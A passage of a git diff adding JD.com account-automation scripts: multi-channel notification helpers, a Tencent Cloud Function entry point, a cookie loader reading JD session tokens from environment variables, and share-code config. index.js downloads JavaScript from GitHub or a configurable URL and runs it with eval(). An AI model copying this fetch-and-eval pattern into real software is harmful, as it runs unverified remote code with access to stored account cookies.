} + }); +} + +function tgBotNotify(text, desp) { + return new Promise((resolve) => { + if (TG_BOT_TOKEN && TG_USER_ID) { + const options = { + url: `https://${TG_API_HOST}/bot${TG_BOT_TOKEN}/sendMessage`, + body: `chat_id=${TG_USER_ID}&text=${text}\n\n${desp}&disable_web_page_preview=true`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + if (TG_PROXY_HOST && TG_PROXY_PORT) { + const tunnel = require('tunnel'); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: TG_PROXY_HOST, + port: TG_PROXY_PORT * 1, + proxyAuth: TG_PROXY_AUTH, + }, + }), + }; + Object.assign(options, { + agent + }); + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('telegram发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.ok) { + console.log('Telegram发送通知消息成功🎉。\n'); + } else if (data.error_code === 400) { + console.log('请主动给bot发送一条消息并检查接收用户ID是否正确。\n'); + } else if (data.error_code === 401) { + console.log('Telegram bot token 填写错误。\n'); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function ddBotNotify(text, desp) { + return new Promise((resolve) => { + const options = { + url: `https://oapi.dingtalk.com/robot/send?access_token=${DD_BOT_TOKEN}`, + json: { + msgtype: 'text', + text: { + content: ` ${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + if (DD_BOT_TOKEN && DD_BOT_SECRET) { + const crypto = require('crypto'); + const dateNow = Date.now(); + const hmac = crypto.createHmac('sha256', DD_BOT_SECRET); + hmac.update(`${dateNow}\n${DD_BOT_SECRET}`); + const result = encodeURIComponent(hmac.digest('base64')); + options.url = `${options.url}×tamp=${dateNow}&sign=${result}`; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else if (DD_BOT_TOKEN) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息完成。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function qywxBotNotify(text, desp) { + return new Promise((resolve) => { + const options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=${QYWX_KEY}`, + json: { + msgtype: 'text', + text: { + content: ` ${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + if (QYWX_KEY) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('企业微信发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('企业微信发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function ChangeUserId(desp) { + const QYWX_AM_AY = QYWX_AM.split(','); + if (QYWX_AM_AY[2]) { + const userIdTmp = QYWX_AM_AY[2].split('|'); + let userId = ''; + for (let i = 0; i < userIdTmp.length; i++) { + const count = '账号' + (i + 1); + const count2 = '签到号 ' + (i + 1); + if (desp.match(count2)) { + userId = userIdTmp[i]; + } + } + if (!userId) + userId = QYWX_AM_AY[2]; + return userId; + } else { + return '@all'; + } +} + +function qywxamNotify(text, desp) { + return new Promise((resolve) => { + if (QYWX_AM) { + const QYWX_AM_AY = QYWX_AM.split(','); + const options_accesstoken = { + url: `https://qyapi.weixin.qq.com/cgi-bin/gettoken`, + json: { + corpid: `${QYWX_AM_AY[0]}`, + corpsecret: `${QYWX_AM_AY[1]}`, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + $.post(options_accesstoken, (err, resp, data) => { + html = desp.replace(/\n/g, '
'); + var json = JSON.parse(data); + accesstoken = json.access_token; + let options; + + switch (QYWX_AM_AY[4]) { + case '0': + options = { + msgtype: 'textcard', + textcard: { + title: `${text}`, + description: `${desp}`, + url: 'https://github.com/whyour/qinglong', + btntxt: '更多', + }, + }; + break; + + case '1': + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }; + break; + + default: + options = { + msgtype: 'mpnews', + mpnews: { + articles: [{ + title: `${text}`, + thumb_media_id: `${QYWX_AM_AY[4]}`, + author: `智能助手`, + content_source_url: ``, + content: `${html}`, + digest: `${desp}`, + }, ], + }, + }; + } + if (!QYWX_AM_AY[4]) { + //如不提供第四个参数,则默认进行文本消息类型推送 + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }; + } + options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=${accesstoken}`, + json: { + touser: `${ChangeUserId(desp)}`, + agentid: `${QYWX_AM_AY[3]}`, + safe: '0', + ...options, + }, + headers: { + 'Content-Type': 'application/json', + }, + }; + + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }); + } else { + resolve(); + } + }); +} + +function iGotNotify(text, desp, params = {}) { + return new Promise((resolve) => { + if (IGOT_PUSH_KEY) { + // 校验传入的IGOT_PUSH_KEY是否有效 + const IGOT_PUSH_KEY_REGX = new RegExp('^[a-zA-Z0-9]{24}$'); + if (!IGOT_PUSH_KEY_REGX.test(IGOT_PUSH_KEY)) { + console.log('您所提供的IGOT_PUSH_KEY无效\n'); + resolve(); + return; + } + const options = { + url: `https://push.hellyw.com/${IGOT_PUSH_KEY.toLowerCase()}`, + body: `title=${text}&content=${desp}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n'); + console.log(err); + } else { + if (typeof data === 'string') + data = JSON.parse(data); + if (data.ret === 0) { + console.log('iGot发送通知消息成功🎉\n'); + } else { + console.log(`iGot发送通知消息失败:${data.errMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} +function pushPlusNotifyhxtrip(text, desp) { + return new Promise((resolve) => { + if (PUSH_PLUS_TOKEN_hxtrip) { + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + token: `${PUSH_PLUS_TOKEN_hxtrip}`, + title: `${text}`, + content: `${desp}`, + topic: `${PUSH_PLUS_USER_hxtrip}`, + }; + const options = { + url: `http://pushplus.hxtrip.com/send`, + body: JSON.stringify(body), + headers: { + 'Content-Type': ' application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息失败!!\n`); + PushErrorTime += 1; + console.log(err); + } else { + if (data.indexOf("200") > -1) { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息完成。\n`); + PushErrorTime = 0; + } else { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息失败:${data}\n`); + PushErrorTime += 1; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function pushPlusNotify(text, desp) { + return new Promise((resolve) => { + if (PUSH_PLUS_TOKEN) { + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + token: `${PUSH_PLUS_TOKEN}`, + title: `${text}`, + content: `${desp}`, + topic: `${PUSH_PLUS_USER}`, + }; + const options = { + url: `https://www.pushplus.plus/send`, + body: JSON.stringify(body), + headers: { + 'Content-Type': ' application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败!!\n`); + PushErrorTime += 1; + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息完成。\n`); + PushErrorTime = 0; + } else { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败:${data.msg}\n`); + PushErrorTime += 1; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} +function wxpusherNotifyByOne(text, desp) { + return new Promise((resolve) => { + if (WP_APP_TOKEN_ONE) { + var WPURL = ""; + let uids = []; + for (let i of WP_UIDS_ONE.split(";")) { + if (i.length != 0) + uids.push(i); + }; + let topicIds = []; + const body = { + appToken: `${WP_APP_TOKEN_ONE}`, + content: `${text}\n\n${desp}`, + summary: `${text}`, + contentType: 1, + topicIds: topicIds, + uids: uids, + url: `${WPURL}`, + }; + const options = { + url: `http://wxpusher.zjiecode.com/api/send/message`, + body: JSON.stringify(body), + headers: { + "Content-Type": "application/json", + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log("WxPusher 发送通知调用 API 失败!!\n"); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 1000) { + console.log("WxPusher 发送通知消息成功!\n"); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function wxpusherNotify(text, desp) { + return new Promise((resolve) => { + if (WP_APP_TOKEN) { + let uids = []; + for (let i of WP_UIDS.split(";")) { + if (i.length != 0) + uids.push(i); + }; + let topicIds = []; + for (let i of WP_TOPICIDS.split(";")) { + if (i.length != 0) + topicIds.push(i); + }; + const body = { + appToken: `${WP_APP_TOKEN}`, + content: `${text}\n\n${desp}`, + summary: `${text}`, + contentType: 1, + topicIds: topicIds, + uids: uids, + url: `${WP_URL}`, + }; + const options = { + url: `http://wxpusher.zjiecode.com/api/send/message`, + body: JSON.stringify(body), + headers: { + "Content-Type": "application/json", + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log("WxPusher 发送通知调用 API 失败!!\n"); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 1000) { + console.log("WxPusher 发送通知消息成功!\n"); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function GetDateTime(date) { + + var timeString = ""; + + var timeString = date.getFullYear() + "-"; + if ((date.getMonth() + 1) < 10) + timeString += "0" + (date.getMonth() + 1) + "-"; + else + timeString += (date.getMonth() + 1) + "-"; + + if ((date.getDate()) < 10) + timeString += "0" + date.getDate() + " "; + else + timeString += date.getDate() + " "; + + if ((date.getHours()) < 10) + timeString += "0" + date.getHours() + ":"; + else + timeString += date.getHours() + ":"; + + if ((date.getMinutes()) < 10) + timeString += "0" + date.getMinutes() + ":"; + else + timeString += date.getMinutes() + ":"; + + if ((date.getSeconds()) < 10) + timeString += "0" + date.getSeconds(); + else + timeString += date.getSeconds(); + + return timeString; +} + +function GetnickName() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } + finally { + resolve(); + } + }) + }) +} + +function GetnickName2() { + return new Promise(async(resolve) => { + const options = { + url: `https://wxapp.m.jd.com/kwxhome/myJd/home.json?&useGuideModule=0&bizId=&brandId=&fromType=wxapp×tamp=${Date.now()}`, + headers: { + Cookie: cookie, + 'content-type': `application/x-www-form-urlencoded`, + Connection: `keep-alive`, + 'Accept-Encoding': `gzip,compress,br,deflate`, + Referer: `https://servicewechat.com/wxa5bf5ee667d91626/161/page-frame.html`, + Host: `wxapp.m.jd.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.10(0x18000a2a) NetType/WIFI Language/zh_CN`, + }, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (!data.user) { + $.isLogin = false; //cookie过期 + return; + } + const userInfo = data.user; + if (userInfo) { + $.nickName = userInfo.petName; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e); + } + finally { + resolve(); + } + }); + }); +} + +module.exports = { + sendNotify, + sendNotifybyWxPucher, + BARK_PUSH, +}; + +// prettier-ignore +function Env(t, s) { + return new(class { + constructor(t, s) { + (this.name = t), + (this.data = null), + (this.dataFile = 'box.dat'), + (this.logs = []), + (this.logSeparator = '\n'), + (this.startTime = new Date().getTime()), + Object.assign(this, s), + this.log('', `\ud83d\udd14${this.name}, \u5f00\u59cb!`); + } + isNode() { + return 'undefined' != typeof module && !!module.exports; + } + isQuanX() { + return 'undefined' != typeof $task; + } + isSurge() { + return 'undefined' != typeof $httpClient && 'undefined' == typeof $loon; + } + isLoon() { + return 'undefined' != typeof $loon; + } + getScript(t) { + return new Promise((s) => { + $.get({ + url: t + }, (t, e, i) => s(i)); + }); + } + runScript(t, s) { + return new Promise((e) => { + let i = this.getdata('@chavy_boxjs_userCfgs.httpapi'); + i = i ? i.replace(/\n/g, '').trim() : i; + let o = this.getdata('@chavy_boxjs_userCfgs.httpapi_timeout'); + (o = o ? 1 * o : 20), + (o = s && s.timeout ? s.timeout : o); + const[h, a] = i.split('@'), + r = { + url: `http://${a}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: 'cron', + timeout: o + }, + headers: { + 'X-Key': h, + Accept: '*/*' + }, + }; + $.post(r, (t, s, i) => e(i)); + }).catch((t) => this.logErr(t)); + } + loaddata() { + if (!this.isNode()) + return {}; { + (this.fs = this.fs ? this.fs : require('fs')), + (this.path = this.path ? this.path : require('path')); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s); + if (!e && !i) + return {}; { + const i = e ? t : s; + try { + return JSON.parse(this.fs.readFileSync(i)); + } catch (t) { + return {}; + } + } + } + } + writedata() { + if (this.isNode()) { + (this.fs = this.fs ? this.fs : require('fs')), + (this.path = this.path ? this.path : require('path')); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s), + o = JSON.stringify(this.data); + e ? this.fs.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o); + } + } + lodash_get(t, s, e) { + const i = s.replace(/\[(\d+)\]/g, '.$1').split('.'); + let o = t; + for (const t of i) + if (((o = Object(o)[t]), void 0 === o)) + return e; + return o; + } + lodash_set(t, s, e) { + return Object(t) !== t ? t : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), (s.slice(0, -1).reduce((t, e, i) => (Object(t[e]) === t[e] ? t[e] : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {})), t)[s[s.length - 1]] = e), t); + } + getdata(t) { + let s = this.getval(t); + if (/^@/.test(t)) { + const[, e, i] = /^@(.*?)\.(.*?)$/.exec(t), + o = e ? this.getval(e) : ''; + if (o) + try { + const t = JSON.parse(o); + s = t ? this.lodash_get(t, i, '') : s; + } catch (t) { + s = ''; + } + } + return s; + } + setdata(t, s) { + let e = !1; + if (/^@/.test(s)) { + const[, i, o] = /^@(.*?)\.(.*?)$/.exec(s), + h = this.getval(i), + a = i ? ('null' === h ? null : h || '{}') : '{}'; + try { + const s = JSON.parse(a); + this.lodash_set(s, o, t), + (e = this.setval(JSON.stringify(s), i)); + } catch (s) { + const h = {}; + this.lodash_set(h, o, t), + (e = this.setval(JSON.stringify(h), i)); + } + } else + e = $.setval(t, s); + return e; + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? ((this.data = this.loaddata()), this.data[t]) : (this.data && this.data[t]) || null; + } + setval(t, s) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, s) : this.isQuanX() ? $prefs.setValueForKey(t, s) : this.isNode() ? ((this.data = this.loaddata()), (this.data[s] = t), this.writedata(), !0) : (this.data && this.data[s]) || null; + } + initGotEnv(t) { + (this.got = this.got ? this.got : require('got')), + (this.cktough = this.cktough ? this.cktough : require('tough-cookie')), + (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), + t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)); + } + get(t, s = () => {}) { + t.headers && (delete t.headers['Content-Type'], delete t.headers['Content-Length']), + this.isSurge() || this.isLoon() ? $httpClient.get(t, (t, e, i) => { + !t && e && ((e.body = i), (e.statusCode = e.status)), + s(t, e, i); + }) : this.isQuanX() ? $task.fetch(t).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)) : this.isNode() && (this.initGotEnv(t), this.got(t).on('redirect', (t, s) => { + try { + const e = t.headers['set-cookie'].map(this.cktough.Cookie.parse).toString(); + this.ckjar.setCookieSync(e, null), + (s.cookieJar = this.ckjar); + } catch (t) { + this.logErr(t); + } + }).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t))); + } + post(t, s = () => {}) { + if ((t.body && t.headers && !t.headers['Content-Type'] && (t.headers['Content-Type'] = 'application/x-www-form-urlencoded'), delete t.headers['Content-Length'], this.isSurge() || this.isLoon())) + $httpClient.post(t, (t, e, i) => { + !t && e && ((e.body = i), (e.statusCode = e.status)), + s(t, e, i); + }); + else if (this.isQuanX()) + (t.method = 'POST'), $task.fetch(t).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: e, + ...i + } = t; + this.got.post(e, i).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)); + } + } + time(t) { + let s = { + 'M+': new Date().getMonth() + 1, + 'd+': new Date().getDate(), + 'H+': new Date().getHours(), + 'm+': new Date().getMinutes(), + 's+': new Date().getSeconds(), + 'q+': Math.floor((new Date().getMonth() + 3) / 3), + S: new Date().getMilliseconds(), + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + '').substr(4 - RegExp.$1.length))); + for (let e in s) + new RegExp('(' + e + ')').test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ('00' + s[e]).substr(('' + s[e]).length))); + return t; + } + msg(s = t, e = '', i = '', o) { + const h = (t) => !t || (!this.isLoon() && this.isSurge()) ? t : 'string' == typeof t ? this.isLoon() ? t : this.isQuanX() ? { + 'open-url': t + } + : void 0 : 'object' == typeof t && (t['open-url'] || t['media-url']) ? this.isLoon() ? t['open-url'] : this.isQuanX() ? t : void 0 : void 0; + $.isMute || (this.isSurge() || this.isLoon() ? $notification.post(s, e, i, h(o)) : this.isQuanX() && $notify(s, e, i, h(o))), + this.logs.push('', '==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============='), + this.logs.push(s), + e && this.logs.push(e), + i && this.logs.push(i); + } + log(...t) { + t.length > 0 ? (this.logs = [...this.logs, ...t]) : console.log(this.logs.join(this.logSeparator)); + } + logErr(t, s) { + const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + e ? $.log('', `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) : $.log('', `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t); + } + wait(t) { + return new Promise((s) => setTimeout(s, t)); + } + done(t = {}) { + const s = new Date().getTime(), + e = (s - this.startTime) / 1e3; + this.log('', `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t); + } + })(t, s); +} diff --git a/index.js b/index.js new file mode 100644 index 0000000..525cdf8 --- /dev/null +++ b/index.js @@ -0,0 +1,40 @@ +//'use strict'; +exports.main_handler = async (event, context, callback) => { + try { + const { TENCENTSCF_SOURCE_TYPE, TENCENTSCF_SOURCE_URL } = process.env + //如果想在一个定时触发器里面执行多个js文件需要在定时触发器的【附加信息】里面填写对应的名称,用 & 链接 + //例如我想一个定时触发器里执行jd_speed.js和jd_bean_change.js,在定时触发器的【附加信息】里面就填写 jd_speed&jd_bean_change + for (const v of event["Message"].split("&")) { + console.log(v); + var request = require('request'); + switch (TENCENTSCF_SOURCE_TYPE) { + case 'local': + //1.执行自己上传的js文件 + delete require.cache[require.resolve('./'+v+'.js')]; + require('./'+v+'.js') + break; + case 'git': + //2.执行github远端的js文件(因github的raw类型的文件被墙,此方法云函数不推荐) + request(`https://raw.githubusercontent.com/xxx/jd_scripts/master/${v}.js`, function (error, response, body) { + eval(response.body) + }) + break; + case 'custom': + //3.执行自定义远端js文件网址 + if (!TENCENTSCF_SOURCE_URL) return console.log('自定义模式需要设置TENCENTSCF_SOURCE_URL变量') + request(`${TENCENTSCF_SOURCE_URL}${v}.js`, function (error, response, body) { + eval(response.body) + }) + break; + default: + //4.执行国内gitee远端的js文件(如果部署在国内节点,选择1或3。默认使用gitee的方式) + request(`${v}.js`, function (error, response, body) { + eval(response.body) + }) + break; + } + } + } catch (e) { + console.error(e) + } +} diff --git a/jdCookie.js b/jdCookie.js new file mode 100644 index 0000000..28631e1 --- /dev/null +++ b/jdCookie.js @@ -0,0 +1,101 @@ +/* +================================================================================ +魔改自 https://github.com/shufflewzc/faker2/blob/main/jdCookie.js +修改内容:与task_before.sh配合,由task_before.sh设置要设置要做互助的活动的 ShareCodeConfigName 和 ShareCodeEnvName 环境变量, + 然后在这里实际解析/ql/log/.ShareCode中该活动对应的配置信息(由code.sh生成和维护),注入到nodejs的环境变量中 +修改原因:原先的task_before.sh直接将互助信息注入到shell的env中,在ck超过45以上时,互助码环境变量过大会导致调用一些系统命令 + (如date/cat)时报 Argument list too long,而在node中修改环境变量不会受这个限制,也不会影响外部shell环境,确保脚本可以正常运行 +魔改作者:风之凌殇 +================================================================================ + +此文件为Node.js专用。其他用户请忽略 + */ +//此处填写京东账号cookie。 +let CookieJDs = [ +] +// 判断环境变量里面是否有京东ck +if (process.env.JD_COOKIE) { + if (process.env.JD_COOKIE.indexOf('&') > -1) { + CookieJDs = process.env.JD_COOKIE.split('&'); + } else if (process.env.JD_COOKIE.indexOf('\n') > -1) { + CookieJDs = process.env.JD_COOKIE.split('\n'); + } else { + CookieJDs = [process.env.JD_COOKIE]; + } +} +if (JSON.stringify(process.env).indexOf('GITHUB')>-1) { + console.log(`请勿使用github action运行此脚本,无论你是从你自己的私库还是其他哪里拉取的源代码,都会导致我被封号\n`); + !(async () => { + await require('./sendNotify').sendNotify('提醒', `请勿使用github action、滥用github资源会封我仓库以及账号`) + await process.exit(0); + })() +} +CookieJDs = [...new Set(CookieJDs.filter(item => !!item))] +console.log(`\n====================共${CookieJDs.length}个京东账号Cookie=========\n`); +console.log(`==================脚本执行- 北京时间(UTC+8):${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString('zh', {hour12: false}).replace(' 24:',' 00:')}=====================\n`) +if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +for (let i = 0; i < CookieJDs.length; i++) { + if (!CookieJDs[i].match(/pt_pin=(.+?);/) || !CookieJDs[i].match(/pt_key=(.+?);/)) console.log(`\n提示:京东cookie 【${CookieJDs[i]}】填写不规范,可能会影响部分脚本正常使用。正确格式为: pt_key=xxx;pt_pin=xxx;(分号;不可少)\n`); + const index = (i + 1 === 1) ? '' : (i + 1); + exports['CookieJD' + index] = CookieJDs[i].trim(); +} + +// 以下为注入互助码环境变量(仅nodejs内起效)的代码 +function SetShareCodesEnv(nameConfig = "", envName = "") { + let rawCodeConfig = {} + + // 读取互助码 + shareCodeLogPath = `${process.env.QL_DIR}/log/.ShareCode/${nameConfig}.log` + let fs = require('fs') + if (fs.existsSync(shareCodeLogPath)) { + // 因为faker2目前没有自带ini,改用已有的dotenv来解析 + // // 利用ini模块读取原始互助码和互助组信息 + // let ini = require('ini') + // rawCodeConfig = ini.parse(fs.readFileSync(shareCodeLogPath, 'utf-8')) + + // 使用env模块 + require('dotenv').config({path: shareCodeLogPath}) + rawCodeConfig = process.env + } + + // 解析每个用户的互助码 + codes = {} + Object.keys(rawCodeConfig).forEach(function (key) { + if (key.startsWith(`My${nameConfig}`)) { + codes[key] = rawCodeConfig[key] + } + }); + + // 解析每个用户要帮助的互助码组,将用户实际的互助码填充进去 + let helpOtherCodes = {} + Object.keys(rawCodeConfig).forEach(function (key) { + if (key.startsWith(`ForOther${nameConfig}`)) { + helpCode = rawCodeConfig[key] + for (const [codeEnv, codeVal] of Object.entries(codes)) { + helpCode = helpCode.replace("${" + codeEnv + "}", codeVal) + } + + helpOtherCodes[key] = helpCode + } + }); + + // 按顺序用&拼凑到一起,并放入环境变量,供目标脚本使用 + let shareCodes = [] + let totalCodeCount = Object.keys(helpOtherCodes).length + for (let idx = 1; idx <= totalCodeCount; idx++) { + shareCodes.push(helpOtherCodes[`ForOther${nameConfig}${idx}`]) + } + let shareCodesStr = shareCodes.join('&') + process.env[envName] = shareCodesStr + + console.info(`【风之凌殇】 友情提示:为避免ck超过45以上时,互助码环境变量过大而导致调用一些系统命令(如date/cat)时报 Argument list too long,改为在nodejs中设置 ${nameConfig} 的 互助码环境变量 ${envName},共计 ${totalCodeCount} 组互助码,总大小为 ${shareCodesStr.length}`) +} + +// 若在task_before.sh 中设置了要设置互助码环境变量的活动名称和环境变量名称信息,则在nodejs中处理,供活动使用 +let nameConfig = process.env.ShareCodeConfigName +let envName = process.env.ShareCodeEnvName +if (nameConfig && envName) { + SetShareCodesEnv(nameConfig, envName) +} else { + console.debug(`OKYYDS 友情提示:您的脚本正常运行中`) +} \ No newline at end of file diff --git a/jdDreamFactoryShareCodes.js b/jdDreamFactoryShareCodes.js new file mode 100644 index 0000000..7f0bc1b --- /dev/null +++ b/jdDreamFactoryShareCodes.js @@ -0,0 +1,37 @@ +/* +京喜工厂互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let shareCodes = [ + 'V5LkjP4WRyjeCKR9VRwcRX0bBuTz7MEK0-E99EJ7u0k=@Bo-jnVs_m9uBvbRzraXcSA==@-OvElMzqeyeGBWazWYjI1Q==',//账号一的好友shareCode,不同好友中间用@符号隔开 + '-OvElMzqeyeGBWazWYjI1Q==',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.DREAM_FACTORY_SHARE_CODES.length > 0 && !process.env.DREAM_FACTORY_SHARE_CODES) { +// process.env.DREAM_FACTORY_SHARE_CODES = logShareCodes.DREAM_FACTORY_SHARE_CODES.join('&'); +// } + +// 判断环境变量里面是否有京喜工厂互助码 +if (process.env.DREAM_FACTORY_SHARE_CODES) { + if (process.env.DREAM_FACTORY_SHARE_CODES.indexOf('&') > -1) { + console.log(`您的互助码选择的是用&隔开\n`) + shareCodes = process.env.DREAM_FACTORY_SHARE_CODES.split('&'); + } else if (process.env.DREAM_FACTORY_SHARE_CODES.indexOf('\n') > -1) { + console.log(`您的互助码选择的是用换行隔开\n`) + shareCodes = process.env.DREAM_FACTORY_SHARE_CODES.split('\n'); + } else { + shareCodes = 